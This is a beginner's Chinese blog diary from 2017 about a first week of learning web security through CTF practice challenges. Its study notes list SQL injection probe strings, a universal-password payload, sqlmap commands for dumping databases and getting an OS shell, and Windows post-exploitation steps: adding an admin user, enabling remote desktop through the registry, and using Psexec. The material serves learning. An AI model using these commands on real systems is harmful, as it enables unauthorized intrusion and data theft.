刘二白的求学路上①

原创

pixieya 于 2017-07-30 22:07:48 发布 174 收藏

本文链接：https://blog.csdn.net/pixieya/article/details/76407964

这是我的第一篇博客，没有经验，还不怎么会写，也不知道该写些什么，那就随便写点吧。

自学信息安全已经一周了，从小白到小白。不过值得高兴的是，这一周内了解了一些关于web的知识，学会使用了SQL map的一点点皮毛，在实验吧上做了几个web的题，那就来说说这一周都学了什么吧。

7.24-7.28 在实验吧上看视频，安装SQL map

本来放假之前安了一个的，但是安装的时候没有在网上查教程就跟着默认的直接安装的，后来，在比着教程做题的时候，明明跟教程一个字都不差的都是一直出现

这个问题，我自己也去网上查了，发现是环境变量的问题，但是我照着网上的做了还是不行，不得不迫使我找了大佬，大佬说的和网上一样，最后建议我重装一遍python试试看，安装的时候记得勾选上Add environment variable，我只好照做，勾选上了Add environment variable，最后再按照网上设置了环境变量，然后。。就真的好了！！我真的是激动万分啊，终于能做题了，真的是迫不及待。

在其间我还学习了大佬给的资料，看了一点，也总结了一点。

注入漏洞挖掘

1.单引号　MsSQL数据库　and user>0

　　aspx编码

Mysql数据库

　Oracle数据库

2.数字型　and 1=1和and 1=2

　　或者 +1 -1

　　或者 ：or 1>2　和：or 1<2

3.字符型　“' and '1'='1”和“' and '1'='2”

或者“'%2B'1”

4.搜索型　“关键字%' and 1=1 and '%'='”和“关键字%' and 1=2 and '%'='”

实验吧的教学视频也总结一点自己认为有用的。

Web攻击

一、SQL注入

攻击语句　sqlmap -u “url” --os-shell　获取系统shell

<1>Net user 查看本机的用户列表

<2>Net user “ 用户名” “密码” /add 添加用户

<3>Net localgroup administratgors XXX /add 将用户XXX用户添加到administratgors的组中

<4>REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal “ ” Serve/v fDenyTSConnections /t RGE_DWORD /d 00000000 /f 修改注册表链值 开启远程桌面3389端口

侵入对方电脑需要<1><2><3><4>或者Psexec工具

<1><2><3>Psexec\\IP -u 用户名 -p 密码 cmd可直接入侵

Sqlmap命令

Sqlmap -u “url” --current -db 查看当前数据库

-D 数据库名 --tables查看表

-D 数据库名 -T 表名 --columns查看列

-D 数据库名 -T 表名 -C 列名 --dump

得到key值

猜解表名 and exists(select * from 表名)

猜解列名 and exists(select 列名 from 表名)

猜字符段长度 and(select top 1 len (列名) from 表名)>1 页面正常 依次加一 若n不正常，则列的字段为n

猜列的内容 and(select top 1 asc (mid(列名,m,n)) from 表名)>97 页面正常 m依次加一 若k不正常，则列的第n行第m列为ascll码k所对应的字符

二、XSS又叫CSS

Web插入html代码

三、文件上传漏洞

ps：有点乱。。

7.29 看教学视频了解了web的知识 做了三个web题（初次尝到了做出题的喜悦果实）

web的系统组成：客户端 服务端 中间件（IIS、apache、tomcat） 协议

中间件翻译客户端与服务端的交互数据

web中使用HTTP协议 也是客户端与服务端的交互数据必不可少的角色

HTTP属于TCP/IP的一个协议 请求数据（request） 常用请求头 HTTP响应数据（response）

webshell是web入侵的脚本攻击工具，简单来说，就是asp或者php的木马后门

提权

三个题目 这个看起来有点简单！ 简单的sql注入 简单的sql注入之2

第一个有视频教程 后面两个一开始都没有思路 在网上找的writeup 但还是不太明白 我觉得这就像是学C语言一样 一开始也不是太懂 迷迷糊糊做题 但后来学的差不多了就都明白了 我觉得学这个也是一样的道理的 慢慢来嘛

7.30 看教学视频 做了两个web的题

手工注入

1、万能密码的使用

(1)or 1’or’1’=’1

(2)xor 1’xor’1’=’1

2、PHP +MySQL环境sql注入

三个题目 简单的sql注入之3 登陆一下好吗？？

下一周的计划

安装并学习使用burp suite 进一步学习SQL注入 有余力安装DVWA和pentestbox 写之前做的题的思路
加油吧！！全世界最好的刘二白。

mkxbzkaqwq 嘛可惜不在卡卡武器